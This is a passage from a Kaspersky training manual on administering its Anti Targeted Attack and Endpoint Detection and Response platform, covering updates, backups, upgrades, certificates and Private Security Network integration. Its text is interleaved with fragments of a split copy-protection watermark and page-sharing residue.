console, go to Technical Support Mode and run the kata-collect utility.
d
The result will be saved in the /tmp/collect folder, in a file named collect.tar.gz. Before sending information
e
to the technical support, delete any data that you consider to be confidential from the archive.
pi
co
be
t to
No
223
Administration
You can save sandbox logs via its web interface. In the Administration section, next to System log,
ed
click the Download button and wait. The web console starts a script to collect logs and archive them,
which may require a few minutes. When the archive with logs is ready, the browser where the web
console is opened will prompt you to save the file.
ut
Exporting alert details
Sometimes alert details are required for sending a request to Kaspersky technical support. There is a link
ib
at the bottom of each alert card that permits copying all details as text.
r
7.9 Updates
st
Updating the central node
di
Databases are updated for the following components of Kaspersky Anti Targeted Attack and Kaspersky
Endpoint Detection and Response:
re
— Anti-Malware Engine on Central Node;
— Targeted Attack Analyzer on Central Node;
— APT Certcheck22 on Central Node;
— IDS on Sensor (Central Node) and Sandbox;
or
— Scanner of logs and artifacts on the sandbox server (software of guest virtual machines is not
updated).
The license is checked prior to running the update task. The task will not run without a valid license. After
the update, the new set of databases is validated without stopping the scan of the existing set. If the new
d
set is validated, the module starts using it. If not, the product continues to use the existing set of
databases.
e
Databases are updated automatically on central nodes and sensors every 30 minutes. To run the update
task manually on the central node, in the administrator’s web console, open Settings | General settings
pi
and click Start in the Database update area. You can also change the update source here.
Kaspersky Anti Targeted Attack/Kaspersky Endpoint Detection and Response servers support three
co
types of update sources:

— Kaspersky update servers is a legacy HTTP source;
— Kaspersky update servers (secure connection) is the recommended source;
— Custom server is a custom source.
Kaspersky Anti Targeted Attack/Kaspersky Endpoint Detection and Response servers can connect to a
be
custom source via HTTP only.
Update errors are saved to /var/log/kaspersky/apt-swarm/updater/updater.log.
In the same section, Settings | General settings, you can specify proxy settings for accessing the
to
internet. The proxy server is used for downloading updates and accessing KSN servers.
Sometimes connecting through a proxy server results in unstable operation of the KSN subsystem;
diagnostic messages inform about that in the web console. In this case, you can use the apt-settings-
manager utility to increase the timeout for KSN connections.
t
No
22 A module that additionally checks certificates with which malicious files are signed
224
Administration
In general, KSN may require an exclusion for Kaspersky addresses on the proxy server for stable
ed
operation.
Sensor updates
ut
On a sensor, it is the IDS subsystem that requires updates. A sensor can download updates from
Kaspersky servers or from a custom source. If a sensor is located at the same site as its central node, the
best choice is to update from the central node. If a sensor is located in a remote office, it makes sense to
ib
update it from Kaspersky servers on the internet.
Sandbox updates
r
st
A sandbox uses updates when analyzing samples’ activity logs, their network activity and files that they
created.
di
A sandbox can download updates from Kaspersky servers on the internet or from the address specified
by the administrator. A custom update source must have a correct structure and contain the necessary
files.
re
A central node can act as an update source: automatically download updates for sandboxes and make
them accessible over HTTP (via the standard TCP port 80).
All central nodes authorized on a sandbox server are listed below the custom source textbox. To
configure updating sandbox from a central node, click the necessary central node address, and the
or
respective update address will appear in the source address field.
Kaspersky Endpoint Agent updates

d
Endpoint Agents also have an update mechanism. The update task downloads the following data for the
e
agents:
— List of KSN servers is required to send agent activity statistics to KSN.
pi
— List of blocked licenses is used when checking agent’s activation.

— Telemetry filters are the most important part of the updates.
co
Agents don't send all computer events to the central node. This would result in unreasonably
high load on the network and central node. Instead, agents use special filters prepared by
Kaspersky experts. Each event type has an inclusion filter and an exclusion filter. The agent logs
only events that match the inclusion filter conditions and don't match the exclusion filter
conditions.
be
Kaspersky experts change filters from time to time to reduce the load on the central node or to
expand data collection considering new adversary tactics and techniques. New filters are
typically released once in a few weeks, but may also be released more often.
— Patches for agent executables.
to
Endpoint agents are supplied with a pre-configured set of filters that will work without an update task.
However, to optimize performance of the system that detects indicators of attacks, we recommend that
you create and configure an endpoint agent update task in KSC.
A Kaspersky Endpoint Agent update task is not created automatically and must be configured by the
t
administrator. The task has three important parameters:

No
— The source of updates: Kaspersky Security Center, Kaspersky update servers, or a custom
HTTP, FTP or SMB server.
— Module update parameters; an administrator can disable updating executable modules.
225
Administration
— Schedule where you can specify an update interval (from hours to weeks or months).
ed
Telemetry filters are released once every few weeks; however, we recommend that you run the
update task daily just in case. Updates for executable modules are released even rarer.
ut
7.10 Saving and restoring settings
ib
Kaspersky Anti Targeted Attack/Kaspersky Endpoint Detection and Response servers provide the ability
to back up the settings so that you can restore them quickly if the configuration is corrupted. Settings are
exported individually on each server from the management console.
r
st
You can save central node and sensor configuration only using the text console. Open System
administration | Backup/Restore settings, select New and confirm your choice. A script will run that will
save all the settings from the management console to the /home/admin/apt_backup folder in the
data_kata_<date-time>.tar.gz format.
di
The script does not save the telemetry database, license key or web interface settings.
re
Sandbox server settings can be saved from its web console. Go to the Administration section and click
Export in the Settings area. The web console will run the respective script on the sandbox server and
save the result in the settings-<date-time>.tar.gz file on the administrator’s machine.
or
7.11 Upgrade
d
New versions of KATA Platform are released approximately once a year and affect the server part of
KATA and KEDR Expert solutions. Endpoint agents may be released more frequently because Kaspersky
Endpoint Agent is used in a wide list of solutions.
e
In general, when you upgrade the server infrastructure:

pi
— Settings are preserved:

— For central nodes only;
co
— Only for the version that immediately precedes the new release.
— Sensors and sandboxes must be reinstalled.
So, central node settings will only remain in place when you upgrade from 4.1 to 5.0. If you are using an
earlier version, upgrade the versions sequentially: 3.7 → 3.7.1, 3.7.1 → 3.7.2, 3.7.2 → 4.0, 4.0 → 4.1.
be
Before updating the Central Node component, first run the kata-upgrade-preparation script on the server.
This script is included in the distribution.
If you use distributed mode and multitenancy:

—
to
You can upgrade the PCN server without any preparations. After the upgrade, the PCN server
will belong to the same tenant as before.
— If you want to upgrade an SCN server, change its role from SCN to a standalone Central Node
server before the upgrade. Then upgrade this standalone Central Node server.
t
After the upgrade, you will be able to reassign the SCN role to the servers and select the tenant
to which each SCN server belongs.
No
226
Administration
After an upgrade, all users who have the Administrator role are granted access to the web interface of the
ed
PCN and all SCN servers. To restore granular access to SCN web interfaces after the upgrade, in the
web interface of the PCN server:
1. Add the necessary organizations.
ut
2. Configure access of user accounts with the Senior Security Officer and Security Officer roles to
the organizations and servers.
3. Delete all SCNs temporarily disconnected from the PCN during the upgrade.
ib
4. Reconnect all the necessary SCNs to the PCN.
The program will prompt you to choose an organization for each SCN server.
r
When ready, user access to the SCN web interfaces will be configured.
st
Specifics of updating Kaspersky Anti Targeted Attack Platform from version 4.1 to version 5.0:
— After you upgrade Kaspersky Anti Targeted Attack Platform to version 5.0, you will need to re-
di
add the license keys.
— Custom layouts are not preserved on the Dashboard after an upgrade.
— Network interface parameters are not preserved either. If you want to use network interfaces to
re
receive mirrored SPAN traffic, configure traffic capturing after the upgrade.
— Data of the Sensor and Sandbox components will not be saved.
— Central Node 5.0 is not compatible with earlier versions of Sensor or Sandbox.
or
7.12 Modifying system settings

d
Replacing the certificate

e
The certificate may need to be replaced on the central node. First, a self-signed certificate that is created
pi
during the installation expires in 5 years. You will have to change it then. Second, some organizations
prefer to use certificates issued by their internal certificate management system. Third, regular certificate
replacement may be prescribed by the internal security policy.
co
You can replace (or create a new self-signed) certificate from the central node administrator's web
console in Settings | Certificates.
To use a certificate issued by another system at the central node, prepare a PEM file. The file must
contain both the public and private parts of the certificate; the private key must be at least 2048-bit.
be
Once the central node certificate is replaced, you will need to reconnect all entities — sandbox servers,
sensors, KWTS and KSMG servers and endpoint agents — depending on the solution deployed.
Adjusting the time

to
Often, time out of sync turns out to be the cause of hard-to-diagnose connection problems between KATA
or KEDR components. That's why it's so important that the time is synchronized on the servers. The
easiest way to achieve this is to configure all servers to receive time from the same trusted source.
t
No
If the address of your organization's NTP server changes, be sure to update the time settings on all
servers.
You can set the time parameters either via the web console (where available) or through the text console.
227
Administration
Modifying network settings
ed
You may need to change the network settings for the servers. You can do it in the administrator’s web
console or in the text console.
ut
As a rule, changing network settings does not have any negative consequences. However, to be on the
safe side, we recommend that you don't change the server address while some of the hosts connected to
it are isolated from the network.
ib
7.13 Kaspersky Private Security Network (KPSN)
r
st
Why KPSN may be required
di
Kaspersky Anti Targeted Attack and Kaspersky Endpoint Detection and Response, like many other
Kaspersky products, are deeply integrated with Kaspersky Security Network (KSN), a reputation
database of files and URLs in the Kaspersky cloud infrastructure. KSN provides a faster response to new
re
threats, improves the efficiency of detection and protection components and reduces the likelihood of
false positives.
KSN is an important component, but it is the system administrator who decides whether to use it. If the
decision is taken to participate in KSN, some information obtained while running the product is forwarded
or
to Kaspersky. The list of data forwarded is specified in the KSN Statement. It mainly consists of
checksums of scanned files, links, information about malicious objects and product operation statistics.
However, there are specific requirements in some industries and companies, according to which no data
can be sent outside the organization. Such a requirement could limit the use of KSN. To overcome this
d
limitation, Kaspersky offers a local replica of Kaspersky Security Network: the Kaspersky Private Security
Network (KPSN) product. This approach provides all KSN benefits without sending any data outside the
e
organization.
KPSN servers deployed on the customer’s side are permanently connected to the global KSN servers. As
pi
soon as the global directory is updated, KPSN servers get notified and start downloading the changes.
This means that databases are always up-to-date on the customer side, and KPSN returns the same
answers as KSN.
co
Kaspersky Private Security Network supports several deployment options, for example, for an air-gapped
network. KPSN deployment falls outside the framework of this course. We will only touch upon KPSN
specifics that affect integration with Kaspersky Anti Targeted Attack/Kaspersky Endpoint Detection and
Response.
be
Files required for integration with KPSN

To connect KATA/KEDR to KPSN, files with addresses of KPSN services are required. You get these
files when deploying KPSN.
to
During the deployment, you will need to save the file with KPSN settings (configuration.json), send it to
Kaspersky and receive an answer with several files that are required to connect KPSN to KSN and to
connect KATA/KEDR and other Kaspersky applications to KPSN:
— cert.tar.gz — a certificate for authenticating KPSN in KSN, which must be specified in the KPSN
t
settings to start downloading data from KSN.

No
— kc_<company name>.xml, kh_<company name>.xml, ksncli_<company name>.dat — files

with KPSN service addresses to be added to the KATA/KEDR settings.
228
Administration
— <company name>_settings.pkcs7 — the file that you must upload to Kaspersky Security Center
ed
settings to enable it to use KPSN in Kaspersky Endpoint Security and other protection
applications.
Transform the three files (kc_<company name>.xml, kh_<company name>.xml and ksncli_<company
ut
name>.dat) before you upload them into KATA/KEDR settings:
1. Compress .xml files into .xms by the squeeze.exe utility (you can request it from Kaspersky)
2. Replace <company name> in the file names with private:
ib
— kc_private.xms,
— kh_private.xms,
r
— ksncli_private.dat.
st
Connecting a central node to KPSN
di
The KSN module is included with Central Node and Sensor. A sandbox server does not communicate
with the KSN directly, but the central node additionally sends the files that sandbox has found to be
dangerous to KSN. Interaction with KSN/KPSN is configured for each server individually via its
re
management console.
To connect a central node to the KPSN, use the administrator's web console. In the Settings |
KSN/KPSN and MDR section, select the KPSN connection type, upload the kc_private.xms,
kh_private.xms and ksncli_private.dat files and click Apply.
or
The connection result will be displayed in a message at the bottom of the window.
Sensors receive KPSN settings from the central node and don't need to be configured.
d
Integration with the reputation database

e
KPSN not only supplies Kaspersky products with enhanced data from the KSN public infrastructure, but
pi
also creates a local reputation database for the company, which is controlled by administrators.
No security solution is both 100% effective in detecting threats and 100% accurate in identifying non-
co
dangerous objects. There is always some small risk of false positives and overlooked threats.
When using the public version of KSN, file processing statistics are sent to Kaspersky, where they are
processed by algorithms and experts. As a result, previously unknown files quickly receive correct
classification: dangerous or not.
be
KPSN does not send any information to Kaspersky. Therefore, classifying unknown files becomes the
task of the customer's specialists. And that's what the local KPSN reputation database is designed for.
The customer’s experts can add the checksum of any file to it and manually specify whether it is
dangerous.
to
You can integrate a KATA Platform central node with the KPSN reputation database and automatically
populate it with information about the files that the sandbox technology finds to be dangerous and highly
important.
To configure sending checksums of files detected by the sandbox technology to KPSN, you will need a
t
certificate of a KPSN user account entitled to use KPSN API.

No
Download the certificate (both parts, public and private) of a KPSN user who has the permission to use
KPSN API from the user’s profile in the KPSN web console. The KPSN administrator has the required
permissions; but a pair of encryption keys of any user allowed to access KPSN API will do as well.
229
Administration
To send sandbox detections to KPSN:
ed
— In the central node administrator's console, open Settings | KPSN reputation database and
specify:
— HOST — IP address of the KPSN server where the local KPSN reputation database is
ut
stored;
— TLS Certificate — a certificate for user authentication in KPSN;
— TLS encryption key — the private encryption key;
ib
— In the central node console of a senior security officer, open Settings | KPSN reputation
database and select the checkbox Assign the ‘Untrusted’ status to alerts.
r
With these settings, the central node will send checksums of objects that were detected by the Sandbox
technology to the KPSN reputation database. Two checksums will be sent for each object: MD5 and
st
SHA256.
The KPSN administrator can manually create records in the KPSN reputation database. A record by
di
Kaspersky Anti Targeted Attack/Kaspersky Endpoint Detection and Response has the KATA tag in the
description. You cannot delete KATA records, but you can disable them.
Other Kaspersky applications will be able to block objects by checksums available in the KPSN reputation
re
database. Specifically, Kaspersky Endpoint Security blocks executable files that have bad reputation with
its File Threat Protection and Host Intrusion Prevention components.
or
e d
pi
co
be
t to
No
v.0.6
230

KL 025.5 Katakedr v0.6 en

Uploaded by

Copyright:

Available Formats

You might also like

KL 025.5 Katakedr v0.6 en

Uploaded by

Document Information

Original Title

Copyright

Available Formats

Share this document

Share or Embed Document

Sharing Options

Did you find this document useful?

Is this content inappropriate?

Copyright:

Available Formats

KL 025.5 Katakedr v0.6 en

Uploaded by

Copyright:

Available Formats

KL 025.5: Kaspersky Anti Targeted Attack. Kaspersky Endpoint Detection and Response.

2.3 System requirements ......................................................................................................................34

Server requirements .......................................................................................................................34

2.4 Scaling ............................................................................................................................................48

2.5 Typical topologies ...........................................................................................................................50

3. KATA platform deployment .....................................................................................................54

Kaspersky Endpoint Detection and Response ...............................................................................54

Installing a central node on a single server ....................................................................................63

Sandbox installation .......................................................................................................................67

3.3 Activation and initial setup ..............................................................................................................77

4. KATA operation ........................................................................................................................... 120

Email messages ...........................................................................................................................129

Third-party IDS rules ....................................................................................................................139

General alert properties ................................................................................................................148

4.3 Processing alerts ..........................................................................................................................155

5. KEDR operation ............................................................................................................................ 161

Isolating an endpoint from the network ........................................................................................179

Blocking access to files ................................................................................................................181

Quarantine a file ...........................................................................................................................186

7. KATA platform maintenance ................................................................................................ 207

7.5 Email notifications .........................................................................................................................217

7.8 Collecting system information ......................................................................................................222

Gathering information for technical support .................................................................................223

7.9 Updates ........................................................................................................................................224

7.10 Saving and restoring settings .......................................................................................................226

Modifying network settings ...........................................................................................................228

Connecting a central node to KPSN .............................................................................................229

Acronyms and conventions

Central node Kaspersky Anti Targeted Attack Central Node

DMZ DeMilitarized Zone

KEDR Kaspersky Endpoint Detection and Response

KES Kaspersky Endpoint Security

KSC Kaspersky Security Center

KSN Kaspersky Security Network

KSWS Kaspersky Security for Windows Servers

Network Agent KSC Network Agent

Sandbox Kaspersky Anti Targeted Attack Sandbox

Sensor Kaspersky Anti Targeted Attack Sensor

SIEM Security Information and Event Management

This course is devoted to Kaspersky Anti Targeted Attack Platform products:

Our course also touches upon related systems:

— Nikkei — another file-encrypting ransomware attack.

20% of all cases).

malware management servers.

syn.exe and 1.dll .

1.3 Challenges in building an information security system

1. You only see the attacker’s final steps.

1.4 Approaches to building a cybersecurity system

now let's discuss approaches to protecting a company against cyberthreats.

Let’s look at an example:

highlights 12 tactical objectives in attacks on enterprises:

— Initial access — penetration.

— Persistence — the adversary is trying to maintain their foothold.

— Defense evasion — eluding detection.

— Collection — gathering data for theft or analysis.

avoid such situations in the future.

KATA and KEDR can be used either separately or as an integrated solution.

1.5 The tasks KATA Platform helps the customer to solve